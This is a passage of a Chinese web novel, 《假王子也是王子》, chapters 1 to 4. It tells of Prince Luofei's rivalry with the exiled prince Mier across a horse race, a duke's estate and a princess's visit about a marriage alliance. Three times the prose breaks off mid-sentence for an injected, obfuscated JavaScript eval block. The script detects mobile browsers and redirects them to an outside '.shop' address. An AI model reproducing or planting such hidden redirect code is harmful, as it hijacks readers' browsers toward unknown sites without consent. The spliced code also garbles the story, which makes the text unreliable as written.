《假王子也是王子》 1. 赛马会 艾瑟兰王国的赛马场开在边郊的开阔草地上,四周搭起了彩色看台。 贵族们穿着最体面的衣裳,互相交谈,频频点头,家眷们则是撑着色彩斑斓的阳伞,将看台前排坐满。 秋日赛马会是艾瑟兰王国最热闹的日子。 也是洛斐最厌恶的日子。 身为瓦莱里安王室唯一的血脉,艾瑟兰王国唯一的王子,既不擅长骑术,也不精通剑术,一直是洛斐最不愿意提起的事情。 洛斐还够不到剑柄的时候,已经开始排斥这种赛事,成人礼后,骑术和剑术稍微有些长进,但依旧谢绝一切比赛邀请。 他如今会出现在赛马场,一是因为王室赛事,作为王子不好拒绝,二是因为,他想亲眼看着自己的计谋让米尔出丑。 米尔也是王子,只不过他的王国早已经覆灭,远在千里之外,连地图上都找不到名字。 异国王子。 明明像是最为锋利的刀刃那样危险,却在艾瑟兰极其受欢迎,向来挑剔的贵族们对他的政治见识赞赏有加,就连国王和王后也对他的英勇和全能赞不绝口。 原本受子民爱戴,贵族赞扬的洛斐像是突然失去了光环,那个身为艾瑟兰王子的光环。 “埃迪,去看看米尔的马。”洛斐轻声朝埃迪嘱咐,转而安静地看向赛马场,对身边前来打招呼的公爵们也只是随口回应。 “殿下……是。”埃迪深深叹口气,垂眸应着。 赛马会不过是贵族子弟间参加的友谊赛,热闹非凡但实在无趣,洛斐仅看了一会便感到疲惫,直到骑手们入场巡游,洛斐才来了精神。 终于,好戏开场。 悠扬的号角声落地,马匹踏着碎步,骑手们依次入场,蓬松黄发在阳光下晃动。 洛斐抬眼环视一圈。 没有。 米尔的黑色头发在整个艾瑟兰王国都很显眼,浓黑如墨,本该在一众黄褐色中一目了然才对。 他不紧不慢地走到赛马场边缘,看一圈。 依旧没有。 “殿下。”埃迪喊他的语气不对劲。 洛斐心底涌上一股不好的预感,立刻看向草地中央的候场区,恰好对上米尔的视线。 米尔骑着一匹通体黝黑的马,温煦的阳光衬得他愈发白皙,披风轻摆,墨发微扬,出奇得相配。 艾瑟兰王室的赛马场一眼望不到头,但洛斐依旧能捕捉到米尔嘴角那抹极淡的笑意。 “殿下,韦恩菲尔德大人让我转告,谢谢您喂养小白,它休息得很好……”埃迪无奈地开口,不理解王子的报复手段。 将别人马喂饱就没有办法比赛,这法子实在太让人费解。 洛斐语气懊恼,轻声说:“曼陀罗花。” 埃迪话说到一半,疑惑地抬头,问:“殿下,您说什么?” “我说他有毒。” 洛斐并不是一开始就讨厌米尔的,至少单论米尔的样貌就讨厌不起来。 况且,这位米尔·韦恩菲尔德自从来到艾瑟兰便一直养病,很少见人,洛斐只是在议事厅远远地见过一面。 之后拜访也不太顺利,洛斐已经数不清吃了多少回闭门羹。 但这些都达不到厌恶的程度。 只是这段日子,米尔渐渐出来与人交际,解决王国遇到的难题,频繁地出入国王和王后的内殿。 洛斐原本是毫不在意的,只当是父王和母后对逝去旧友之子的帮扶。 但不知道何处起的一则谣言,称米尔即将成为艾瑟兰王国的第二位王子,说得天花乱坠,传得沸沸扬扬。 虽说这只是王国子民间的玩笑话,却也激起了满国风雨。 洛斐不得不重视。 他若问起来,父王母后便含笑搪塞他过去,也不知笑里藏着些什么。 洛斐尝试着拜访米尔,结果次次被各种理由拒之门外。 吹风病了。 练剑伤到了。 吃撑了。 喝多了。 洛斐压不住脾气,闯入城堡客殿,看见说着病了但安心品茶的米尔,一时间忘记了王室礼仪,直白地问:“那些话是真的吗?” 米尔端着茶杯的手腕轻抖,低头吹了吹,浅浅地抿一口,垂眸道:“嗯,真的。” 洛斐如遭雷劈,没想到米尔如此坦诚。自此,他就将报复米尔·韦恩菲尔德挂在嘴边。 于是,便迎来了第无数次失败。 马蹄声震得洛斐脑袋发晕,洛斐早已经无暇欣赏比赛的热闹。 总之,不出所料,又一次以失败告终。 洛斐收起目光,本着国王的特意交代,转身和眼熟的公爵们寒暄了几句,坐回自己的位置,百无聊赖地看着。 “殿下,外面的传言只是子民们无处消遣,随口乱说,韦恩菲尔德大人只是……性子冷。” 埃迪站在洛斐身后,忍不住劝道。他心知肚明,这些毫无杀伤力的法子,已经是王子绞尽脑汁的成果了。 洛斐也很不解。 他那些自以为完美的计划,像是冬日晚宴时将暖炉藏起来,庆典时候躲在暗处吓米尔一跳,狩猎时抢走他猎到的兔子放生。 全失败了。 “好了,埃迪。安心看赛马。”洛斐摆摆手,懒得再想,也不愿听埃迪念叨。 赛马场的旗帜被风扯得哗哗作响,比赛像小孩子过家家般玩闹着进行,你追我赶,无人取胜。 洛斐忍不住别开脸,问:“埃迪,米尔什么时候出场?” “殿下,大概是在日落时分。” “嗯,和谁?” 埃迪停顿几秒后开口,“塞维恩公爵的小少爷。” “维伦吗?”洛斐眼睛都懒得睁开。 连爵位继承权都拿不到,终日花天酒地,语言举止粗鄙的废材,看来注定是无法让米尔落败了。 洛斐闭眼歇息。 “快快!” 看台像是炸开了锅。 洛斐没睁眼,这群人看个赛马可真是激动。 “韦恩菲尔德大人出什么事了?”看台上又一道声音传到洛斐耳边。 洛斐抬起双眸,随口问:“米尔赢了?” 埃迪迟疑地说:“殿下,韦恩菲尔德大人赢了,但好像也受伤了。” “嗯?”洛斐不信。 维伦那点本事,连纸上谈兵都做不好的人,怎么可能伤得了米尔。 他偏过头,目光越过涌动的人群,看向场地尽头。 红色的旗帜在空中飘荡,展开又落下,隐隐约约,遮住里面全部的光景,让人看不真切。 洛斐盯着那个方向。 真受伤了? “殿下,您稍等,我去看……” 话没讲完,洛斐已经不见了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536509|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >埃迪愣在原地,听着前方传来洛斐的呼喊,“埃迪,去看看米尔的好戏。” 赛维恩公爵是数一数二的大家族,枝繁叶茂,姻亲遍布王国上下。 奈何大少爷久病在床,小少爷维伦又是个草包,脾气大,本事小,爱惹事。 洛斐走到场地外圈就看见了米尔。 黑发落在肩膀一侧,米尔没急着去拨开,而是静静地靠住马身,手轻捂着下巴,不让伤口暴露,也不让众人惊慌。 而维伦站在一旁,不叫医师也不扶人,满脸高傲,像是做了什么了不得的好事。 洛斐眼神冷了冷,面无表情地示意埃迪将人扶起来,转头和维伦说:“塞维恩家族的战马真是锋利,能将人的肌肤平白刺破。” 他这回是真有点气恼了,不只是因为维伦目中无人。 他报复米尔姑且算是情有可原,但维伦呢?故意伤人却像只开屏的孔雀那样沾沾自喜,真是可恶,可恨。 维伦愣了一下,笑着开口:“殿下,那是自然。赛维恩家族的骑术一向很好,也愿意为艾瑟兰王国效劳。” 洛斐见这人连话也揣摩不透,终于没忍住,冷冷开口:“艾瑟兰向来以温和为上,你却故意伤人,这算什么效劳?” 维伦被这怒气冲冲且直白的话语钉在原地。 “嘶。” 米尔的痛呼声应景地打破了寂静。 洛斐走到他身边,歪着脑袋看了一会,看不到伤痕,没说话,将他捂住的伤口的手扯开,醒目的红痕因此展露出来。 从颧骨延伸到下颌,微微绽开的皮肉泛着血珠。 维伦见周围人群议论纷纷,着急辩解,“王子殿下,马场受伤很正常,再者说只是别国……” 剑刃划过半空。 一缕淡黄色发丝随着轻细的嗡鸣声落地。 维伦下意识抬手摸向空荡荡的鬓边,高傲的表情变成了惊讶。 他知道洛斐王子脾气怪异,可没想到,这位王子会做出这种违背礼仪的事。 当众拔剑,削断一位贵族子弟的头发。 “维伦·赛维恩,你明白的,马场受伤很正常,请不要大惊小怪。”洛斐收剑回鞘,干净利落,说:“也无需你道歉,回去让赛维恩公爵好好教你礼仪,学习一下要是将人伤了,该怎么办。” 维伦愣在原地,脸色冷得像是深冬寒冰,想讲话也说不出口,只能远远看着洛斐转身离开。 本是看好戏却变成了老土的助人为乐,远离吵闹的赛马场后,洛斐才发觉自己的做法也许会引起误会。 于是,洛斐刚在休息室坐好,治疗米尔伤口的医师刚离开,他随口说: “米尔。不是担心你,也不是帮你,只是看不惯那家伙的模样,上次对埃迪也是出言不逊。” 米尔没抬头,垂落的黑发遮住颧骨处的伤口。 语气平淡如白水,不冷不热,“谢谢您,有劳洛斐殿下费心了。” 埃迪被派去应付国王的问话,休息室空无一人。 洛斐的目光从他脸上滑到肩上,又滑到那只搭在扶手上的手。 苍白,骨节分明,沾着的血迹也衬得像是点缀。 只是那只漂亮的手微微蜷缩,握成了拳头,四溢的血迹彰显着不满和烦躁,真是比自己的主人都要诚实。 “米尔·韦恩菲尔德,别装了,你的手心都要握肿了。” 2. 赛维恩庄园 洛斐话语很轻,听不出情绪。 米尔缓缓松开手掌,抬眼好好打量着面前的王子。 这个行为举止奇怪,经常做出幼稚行为的艾瑟兰王国唯一的王子。 还真是和国王和王后说的一样。 确实是一腔热血,不计后果。 洛斐被他看得有些不自在,别开脸,语气故作凶狠,“看什么?你们王国的人都像你一样,这么会隐忍吗?” 米尔摩挲着包扎伤口的白纱布,没有回答他的问话,而是提醒道:“洛斐殿下,据我所知,赛维恩公爵可不是好应付的。” 维伦再怎么草包,也是赛维恩公爵家的小儿子。削断的不可能单单是头发,更是赛维恩公爵最看重的脸面。 这会大概就在外面和国王告状。 “嗯,他是个老古董。”洛斐倚着桌沿。 “最坏不过是流放边境,也不是坏事,但……”洛斐顿了顿,说:“你必须也流放。” 这样谁也不做王子。 说得也没错,米尔无法反驳。 洛斐巴不得看米尔出点丑,可真看见他受伤了,样子可怜,又有些于心不忍,连带着责备以前报复米尔的自己。 “你记得……” “殿下。” 外面吵闹的声音不合时宜地打断洛斐未讲完的话。 “维伦找你,记得喊我,好好养伤。”洛斐扔下话就离开了。 整日将报复挂在嘴边,做的却是比赛前喂马,狩猎时解救兔子的事情。 也就洛斐王子做得出来。 赛马会终于结束,洛斐在国王的要求下一直守到马场清空,旗帜收净,看台拆完才回到城堡。 他还没走进内殿,就听见里面传来赛维恩公爵低沉带着怒气的讲话声。 洛斐放慢了脚步。 赛马会刚结束,这边就告完状了。看来维伦这方面倒是快人一步。 赛维恩公爵愤恨地讲述完洛斐的罪状,离开内殿时又正好撞上洛斐本人。 “洛斐殿下。”他微微欠身,语气中没有恭敬,满是愤恨和不甘。 勉强将礼数尽到,赛维恩公爵狠狠地看了他一眼,转身走了,像是泄愤。 “还挺记仇。”洛斐边感慨边往内殿走,刚到门口就被薇洛希拉住了胳膊。 “手怎么那么凉。” 薇洛希蹙着眉,让洛斐转了一圈,确认没有伤痕才稍微放心地问:“替米尔出气的时候,没伤到自己?” “母亲,不是为了他。”洛斐当即否认,“这是为了艾瑟兰王国的体面。” “体面?”莱因哈特从书桌前起身,走到薇洛希身边,看着洛斐,叹口气,说:“先坐。” 洛斐自觉地站在一边。 下一秒,莱因哈特的训斥接踵而至。 “你这小子,当众拔剑伤人,还是赛维恩公爵家的人,你就不想想后果?”莱因哈特敲了敲深木色桌面,“身为王子,竟然削断人家头发,你怎么不直接将人头发也剔干净?” “剑术不够。”洛斐轻声反驳。 “你……改日亲自去赛维恩庄园一趟,态度温和,收住脾气。”莱因哈特拍拍他肩膀,轻声说:“别冲动伤人就行,不用道歉。” 莱因哈特是艾瑟兰王国第十位国王,性格柔和,王后亦是如此,以平易近人的美名广为人知。 洛斐从小就知道这件事。 正因如此,艾瑟兰才能在父亲和母亲的治理下稳定发展,少有动荡。 礼貌地走一遍过场,是为了维护赛维恩公爵素来看重的面子,洛斐还是做得到的。 “好。” —— 赛维恩庄园距离温斯洛都城很远,洛斐到的时候,日光已经渐渐西沉。 众人皆知,赛维恩家族视脸面为性命,加上赛维恩公爵又是个记仇的性子,洛斐已经做好了被冷脸相待的准备。 “殿下亲临,真是赛维恩家的荣幸。” 赛维恩公爵早早地候在庄园入口,牵强地扯起嘴角,身边站着庄园上下所有人,唯独没有维伦。 洛斐挑了挑眉。 这么大的阵仗。 用餐时,更是出乎洛斐意料。 艾瑟兰王国一直不喜铺张,况且洛斐此行是为了示好,没想到赛维恩家竟然准备了一桌盛宴。 和城堡比起来,也毫不逊色。 这次拜访,无论何时何地,赛维恩公爵庄园上下皆是唯唯诺诺的模样,直到公爵邀洛斐去花园散步,所有人才都松口气。 洛斐猜出是公爵交代的,却猜不到原因。 赛维恩公爵是艾瑟兰老贵族们的代表,和洛斐讲话,无非是称赞国王英明,称赞神明庇佑。 洛斐适时地附和,笑容勉强。 “殿下,韦恩菲尔德大人的伤,怎么样了?” 赛维恩公爵的突然发问,让洛斐赏花的动作顿了顿,抬头看着他,说:“韦恩菲尔德大人吗?伤得确实……有点重,但现在已经好转了。” “得知韦恩菲尔德大人伤势变重的消息,我立刻将维伦那孩子关了禁闭。如今伤势总算好转,真是神明保佑。”赛维恩公爵说这话时,毫无敷衍,和以前那副饱受羞辱的气愤模样不同。 洛斐出神了片刻,说:“您的关心,我会代为转达给韦恩菲尔德大人。” 拜访顺利得让洛斐吃惊。 结束时,赛维恩公爵甚至殷勤地将花园里的稀有花卉送给洛斐,说是一份薄礼。 赛维恩公爵态度转变,米尔伤势莫名变重的传闻…… 洛斐回程时就猜到了大概,拿着花束直奔米尔卧房。 “殿下,韦恩菲尔德大人今日身体不适……” “茶香差点飘到我的卧房。”洛斐对前来阻拦他的人说。 顿时,无人回话了。 米尔的卧房在城堡边缘,离洛斐的房间至少隔了五六条回廊,哪怕是正常行走也得耗些时间,洛斐这么说无非是料定米尔故意躲避他。 果然,洛斐敲门进去时,米尔正端坐在椅子上,舒适地品茶,悠闲地看书,只是颧骨处的白纱布依旧没撤下来。 咔哒。 开门声突兀地响起。 米尔顺势抬头,见洛斐倚着橡木门框,歪着头说:“听说你病得不轻。” “殿下,诅咒的话不能脱口而出。”米尔轻声道。 洛斐没回话,旁若无人地走进屋内,环顾四周,发现除却米尔坐的软椅,只剩下一张床铺。 他将带来的鲜花插到水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536510|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 晶瓶内,走到米尔对面,在对方疑惑的目光下,随口说:“你很聪明。” “赛维恩公爵确实不好对付。不过你伤重的消息传了出去,他一向重视家族的声誉和面子,确实不好揪着不放了。”洛斐自顾自地解释着,恍然大悟地小声道:“原来你那天捂着伤口是为了赛维恩公爵。” “这是为了殿下,为了您免受责备。”米尔头也没抬地说。 洛斐飞快地别开脸去,任由红色染尽耳根,声音少见地软着,“……谢谢你。” “殿下少和我闹着玩就好。”米尔见他一时半会没有走的意愿,随口说完,又坐回椅子上,低头看书。 捉弄人的把戏被挑明说清,洛斐闷声道:“那不行。”说完,又想到米尔这办法有漏洞,忙问:“你伤势很重的消息传出去,宴会什么的,就不能去了?” 米尔这才抬头看向洛斐,不解地反问:“不好吗?” “不用花时间社交,正好用来休息。”米尔摸了下伤口周围,“我原本只是说伤势难以控制,结果越传越重,到最后成了毁容。” 不管先前怎样对峙,至少这米尔是为了他,洛斐试着安慰他。 “你毁容也不差。” “……” “我是说你毁容也能看。” “……” 洛斐收起自己越描越黑的安慰方法,目光自然而然地滑到米尔看的书上面。 是艾瑟兰王国史书。 这书晦涩难懂,洛斐也是看了好几遍才只能保证成绩勉强合格,眼下才不愿意去看内容,疑惑地问米尔:“你看这书做什么?” 米尔顿了顿,利落地合上书本,漫不经心地说:“打发时间。” 洛斐没有刨根问底的习惯,本准备起身去练剑,余光却瞥见桌边的信封。 颜色鲜艳可爱,顶端别着一朵干花,和米尔卧房内所有物品都不同,显得格格不入。 “这是什么?是爱慕信吗?”洛斐转身问。 “不是。”米尔起身走到这边,拿起那只信封,小心翼翼地放进橱柜最深处,淡淡地说:“只是朋友的来信。” 洛斐点点头,霸占了米尔唯一的软椅,目光在屋内转了一圈又一圈。 毕竟,下一次进来不知道会是什么时候。 米尔见洛斐像是起了兴致,在自己屋子待到夜色变浓也没有离开的打算,放下手中的事务,问:“殿下,认识洛缇·泊瑞尔吗?” 洛斐正摆弄着米尔来回挥动的小物件,听见不熟悉的名字,随口道:“不认识。” “汐莱纳希的洛缇公主。” “汐莱纳希?有些印象,是一个很温暖的国家。”洛斐认真回答。 “下个月,洛缇公主会拜访艾瑟兰王国。”米尔语气平平地说:“到时候,殿下不要乱了阵脚。” 洛斐眉心微皱。 这段时间,洛斐忙着给米尔使绊子,其他事情忘得一干二净,尤其是这位公主拜访的事。 “殿下,知道公主为什么来艾瑟兰吗?” “结盟交好,文化交流,贸易通商。”洛斐熟练地将知识讲一遍,手里动作不停。 米尔轻声回答“殿下,是联姻。” “?” 洛斐愣在原地。 3. 在意,很在意 自从米尔提起公主拜访的事,洛斐就彻底没了空闲。 先是薇洛希拉着他试礼服,一套又一套,试到胳膊也抬不起来。接着,莱因哈特又召他去书房,千叮咛万嘱咐,“汐莱纳希是友邦,洛缇公主是贵客,到时候别耍小孩子脾气。” 洛斐罕见地没有异议,只是淡然点了点头,国王和王后虽心怀疑虑,但见他难得顺从,便不再多加嘱咐,怕说多了适得其反。 末了,两人对视一眼,眼底满是欣慰。 这孩子终于懂事了。 —— 为洛缇公主所设的晚宴格外盛大,宴席所用的长桌从厅首铺到厅尾,烛火跳动,宾客们杯盏交错,怎么看都是一派祥和的场面。 唯有端着酒杯却一滴不沾的洛斐显得古怪。 “殿下,您的视线快将韦恩菲尔德大人看穿了。”埃迪好心提醒。 “公主远道而来,不能让米尔没了礼仪,怠慢了友邦的公主。”洛斐面不改色地说。 尽管他本人的礼仪像是夏季暴雨,说有就有,说没就没。 洛斐见米尔浅笑着和使团交谈,颧骨处的伤痕若隐若现,说:“况且两国都要联姻了,更应该盯着了。” “殿下,可是汐莱纳希点名的联姻对象是……” 埃迪的话没说完,洛斐已经将酒杯递给他,朝着米尔晃悠悠地走去。 汐莱纳希王国可以说是米尔的第二故乡,小时候和母亲短暂居住过的日子历历在目,旧友洛缇公主也没有变化,一切的过往像是做梦一样。 米尔垂眸。 好疲惫…… 刚才的交谈已经耗尽了他的心力,如果不是国王和王后担心到日日询问,他真想在卧房借着养伤待上一段时间。 伤口也像是和他作对似的,时不时地隐隐犯疼。米尔无力地低着头,面前忽然暗了下来,像是被什么东西遮住了光。 米尔顺势抬起头,见洛斐侧着身子,凑到他耳边低语,“韦恩菲尔德大人心情不错吧?洛缇公主人很好,联姻确实是一件好事呢。” 米尔愣了几秒,从这几句玩味的话中提取出关键信息,迅速读懂了面前王子的心思。 他看着洛斐傲气十足的模样,微笑着说:“是很开心。很为殿下感到开心。” “你为我开心?” “嗯。” “瓦莱里安殿下!”洛缇公主远远地喊。 米尔起身,轻拍了下还没回神的洛斐,小声说:“殿下,汐莱纳希指定的联姻对象是您。” 本想调侃,反被调侃,洛斐懊恼地拽住米尔即将拿开的手腕,无声地问:“你为什么不告诉我?” “您没有问我。” “……” 显得更像个傻子了。 汐莱纳希王国气候温和,四季如春。洛缇公主继承了那片土地的温婉,待人接物总是让人如沐春风,倍感亲切。 这些是人众皆知的。洛斐还记得洛缇公主爱好很独特,痴迷于建桥修路,哪怕是无人问津的古老遗迹也爱涉足。 他们见面的话题无非是这些,这次也不例外。 “艾瑟兰新修建的露水桥,殿下有参与吗?” “布雷克伍平原新挖掘的古老遗迹呢?” “听说艾瑟兰新挖掘的洞穴很巧妙。” 洛斐礼貌地回答着,心里却想到刚才分开时米尔那张似笑非笑的脸,以及那日两人的对话。 绝对是蓄意而为。 明明知道他迟钝,还故意说得模棱两可。 “狡猾。”洛斐望着晚宴的另一边,轻声道。 洛缇公主也顺着他的目光,看向远处正和埃迪讲话,云淡风轻的米尔,迟疑地问:“殿下和米尔很熟悉吗?” 洛斐不咸不淡地回答:“还好。” “原来如此。”洛缇公主微微欠身,说:“殿下,这段时间麻烦您了,带我游览艾瑟兰王国的四处。” “愿意为您效劳。” 别国公主特意来拜访,甚至提议参观国家。抛开莫须有的联姻谣言,洛斐是该尽职尽责。 他也确实做到了。 只是洛缇公主喜爱的事务耗神费力,光是穿过辽阔的布雷克伍平原,就要走上好几个日夜。 更不要说艾瑟兰国土面积大,古老遗迹数不胜数。 没有时间报复米尔,成了洛斐最忧愁的事情。他只能趁着每次路过米尔卧房,随口丢下一句胡言乱语,让人怔愣一会,再无所事事地快速移开。 米尔习以为常,到最后听到敲门声就知道是谁又来了。 “米尔。” 洛斐敲门进屋,径直坐好,一气呵成,只是今天少了日常的胡话。 “早安,殿下。”米尔熟练地将水杯推给他,率先开口,语气一如既往地淡。 洛斐本就听不惯米尔疏离且毫无破绽的客套话,现在这句随意的问候倒是很舒服。 洛斐伸着懒腰,往椅背里靠了靠,随口说:“天气真不错。” 米尔的视线从书本移开,望向歪着脑袋休息的洛斐,客气地问:“殿下,您有什么事情吗?” “王后邀请你参加茶会。”洛斐直白地说完,又补充着,“准确地说,是你,洛缇和我。” “为什么?”米尔不解地问。 “我也想知道。”洛斐懊恼地喋喋不休,赌气地说:“那联姻不过是父王和母后的玩笑话,只有汐莱纳希国王当了真。比起人类,洛缇公主更想和布雷克伍平原联姻才对。” 米尔轻笑出声,见他神情恹恹,想起洛缇不知疲倦的性子,难得语气放软,“洛缇对什么都好奇,你带她看看,也要注意休息。” 米尔说完便低头擦拭长剑,对面的洛斐像是睡着了,许久没回答。米尔抬头见他犹犹豫豫的神情,试探着问:“您有什么请求吗?” “嗯,是有请求。”洛斐顿了顿,继续道:“是问能不能陪洛缇公主和我一块去布雷克伍平原的洞穴。” “殿下是对洞穴不了解吗?”米尔带着笑意问。 “对。”洛斐下巴抵着椅背,淡淡地说:“我对艾瑟兰王国的地貌了解很少,剑术和骑术也不好,所以想请你协助我招待洛缇公主。” 讨厌米尔的莫名出现,但洛斐也承认他的博学和才能。 洛斐见米尔垂眸不语,不知道在想些什么,接着说:“是洛缇公主特意提到的。” 等了半晌,洛斐才得到愿意听到的回答,“我的荣幸,殿下。” 洛斐猛地抬起头,衣服上的徽章像是小狗耳朵般来回晃动,眼底是藏不住的雀跃,“米尔,你也许是个好人。” 米尔愣住,好奇怪的夸奖方式…… 薇洛希王后说是下午茶会,结果却办在了靶场,倒像是另类的箭术比试。 洛斐到的时候,长桌铺着绸缎,米尔和洛缇换好了猎装,旁边的箭筒里装满了白羽箭,弓箭调好了弦。 两人看着像是刚比试过。 洛斐默默地低头看向身上的礼服,无比确定。 母后就是故意的。 他若无其事地坐到米尔身边,见对面的洛缇和米尔聊得兴致勃勃。 全是自己听不懂的事情。 好在母后还算贴心,长桌的一边备好了茶水点心。洛斐时不时尝一点,安静地听两人不着边际的话。 直到洛斐吃净面前的点心,他们才中断了话题,米尔随手拿起身边的绿色玻璃杯喝水。 这玻璃杯绿得通透,像是春日沾水的嫩叶,好看得不像话。 也是薇洛希王后特意为米尔准备好的,好方便两人喝茶闲聊的时候使用。 洛斐看到杯子的那一刻顿住了。 他认得这杯子,准确地说是感到熟悉。 他记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536511|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 秋日赛马会前,自己将找来的黑苔草碎放了进去。 是最苦最腥的那种。 几秒钟后,洛斐放宽了心。按照米尔的敏锐程度,还没喝到就能察觉到不对劲才对。 这是基于他那些从未成功的把戏得来的猜测。 结果,偏偏这次是例外。 米尔的唇瓣刚要碰到杯口,洛斐猛地起身,长桌被他带得颤动,杯碟相撞,清脆的叮当声充斥着靶场。 所有人都看向他,包括米尔也同样失神,不解地望着他。 洛斐愣了一瞬,脑子还没转动,手已经有了动作,顺手拿起来桌上所剩不多的浆果,递到米尔嘴边。 “你吃吧。” 所有人不解的目光变为震惊。 洛斐头脑一片空白,随即变成了无措。手还停留在米尔嘴边,收也不是,留也不是。 原本只是为了在洛缇公主面前不丢艾瑟兰王室颜面,才做出的补救行为。 现在,尴尬翻倍。 他眼下真想做一回箭靶,被箭射穿也好过现在的折磨。 米尔率先回过神,垂着眼眸,表情淡淡的,顺着他的手吃了那颗浆果。 就像是说话那样平常,朝洛斐笑着说:“谢谢。” 洛斐感受到唇瓣带来的温热感,飞快地收回手,不动声色地坐下,回了句,“不,不用谢。” 一旁把玩弓箭的洛缇公主托着腮,轻声说:“瓦莱里安殿下和米尔关系真让人艳羡。” “韦恩菲尔德大人的脸红了。”洛缇的语气带着新鲜的好奇。 脸红了? 洛斐皱了皱眉,目光轻轻落到米尔身上。这还是第一次见到米尔有不同的表情。 淡粉色从颧骨延伸到脖颈,连带着耳后也有,米尔微微摸着脸颊,眼神飘忽。 不对劲,怎么会那么夸张。 洛斐侧过脑袋,离近些,看到这成片的粉红中藏着密密麻麻的细点。 这像是过敏。 “快找医师。” 茶会办得不顺利的有很多,但办到病床上的,很少见。 现在就有了。 洛斐第一次见米尔这副模样,尽管红疹已经消了大半,但呼吸依旧很浅很快,洛斐莫名焦灼,执意陪着米尔到彻底恢复。 “殿下,我没事的,您先回吧。”米尔看向一旁站着的洛斐,这人垂着头,也不讲话。 “对不起。”壁炉的噼啪声中传来突兀的道歉,“是我的错。以前,我在你的绿色玻璃杯里面放了黑苔草碎,忘记拿了出来。” “我不知道你对浆果不耐受,不能吃任何浆果,所以让你受了伤害,抱歉,请你原谅。” 很标准的道歉礼仪,也很郑重。 米尔轻咳一声,费力地倚着床头,语气不带疏离和恭敬,“殿下,我可以选择不吃。既然我选择了吃下它,这就是我自己的选择,请您不必自责。” “为什么选择吃?” 米尔反问他,“为什么你不让我喝黑苔草碎呢?是一样的理由。” 洛斐在米尔床前站了很久,久到米尔差点昏昏欲睡,才听到这位想一出是一出的王子说:“如果没有王国里面的那些谣言,我们可以好好相处。” “没有源头和依据的胡言乱语,殿下不用在意。”米尔不理解这跳脱的思路,但还是出言劝说。 “我在意,我很在意。” 洛斐激烈地反驳,像是米尔做了十恶不赦的事,也将米尔的昏睡彻底打乱。 说完,又觉得自己对待病人的举止太粗鲁,洛斐走到米尔面前,缓缓蹲下身子,讲出的话竟然有些委屈,“米尔,我不能接受这种谣言。” 米尔想到听闻的谣言,无非是借着王室秘密的由头,编些他和洛斐莫须有的故事。他抿了抿唇,看向面前余留着孩子气的王子,无奈地问:“你就那么厌恶我吗?” 4. 洞穴 洛斐自认不是木讷的人,但面对米尔不轻不重的质问时,依旧语塞, “我……”话到嘴边,却说不出口。 洛斐只觉得脑袋忽然晕得厉害,沉甸甸得像装满了石块,浑身的力气也像是被那些理不清的念头和话语碾压,使不上劲。 好晕。 这是洛斐晕倒前最后的印象。 倒下的那一刻,额头撞到米尔袖口的金属扣,冰冰凉凉的,耳边回荡着嘈杂凌乱的声音。 洛斐皱了皱眉。 果然,倒霉的事从不会落单。 刚做好心理准备,想说的话,却彻底讲不出口了。 —— “米尔,你们真的不是约定好了吗?”洛缇公主看向同样状态不佳的米尔,抿了口茶,无奈地说:“连病的时间点都相似。薇洛希王后拉着我问了好久,看到洛斐王子好转才罢休。” 单纯喝个下午茶,就把两人喝到双双病倒了。 洛缇和朋友讲话没了宴会上身为公主的拘谨,少了客套的弯弯绕绕,问:“你们这样怎么能陪我到布雷克伍平原的洞穴里去。” 米尔听到洛斐没有大碍,就明白了,大概是最近累到了。他清了清嗓子,朝洛缇说:“你少让他爬山,凿石和刨土,他身体就变好了。” “米尔,你不要怪我了。”洛缇轻轻抖落靴子上的鹅毛,没好气地说:我可是帮了你大忙,对于我来说,调查信息,传达书信很难的。况且布雷克伍平原哪是那么容易进的,更何况有艾瑟兰王室的人陪着。” “是为了我这个老朋友?还是洛缇公主自己向往已久呢?”米尔放下温热的蜂蜜水,微笑着反问。 洛缇耸了下肩膀,语气轻快,“两者都有,既想去看看艾瑟兰王国新挖掘的洞穴,又想助我朋友一臂之力。” “谢谢你,洛缇。”米尔由衷地道谢。 一直嬉皮笑脸的洛缇收了玩闹态度,而后朝着米尔摇摇头,轻声说:“应该的,米尔。” “而且,我真的很想念艾琳娜夫人,帮助你就像是帮助她一样。” 米尔愣了愣,垂着头,回了句,“我也是,日夜思念。” 午后的阳光懒洋洋地从高窗透过来,洒在床铺的帷幔上,照得人浑身滚烫,洛斐不舒适地翻了身,意识渐渐回笼。 “母后……”洛斐手臂搭在眼前,微微抬头,便看见薇洛希担心地站在一旁。 “洛斐,还好吗?”薇洛希着急地问。 原本她只是想办个茶会,缓和一下洛斐和米尔水火不容的关系,谁成想,茶会最后竟办成了病房。 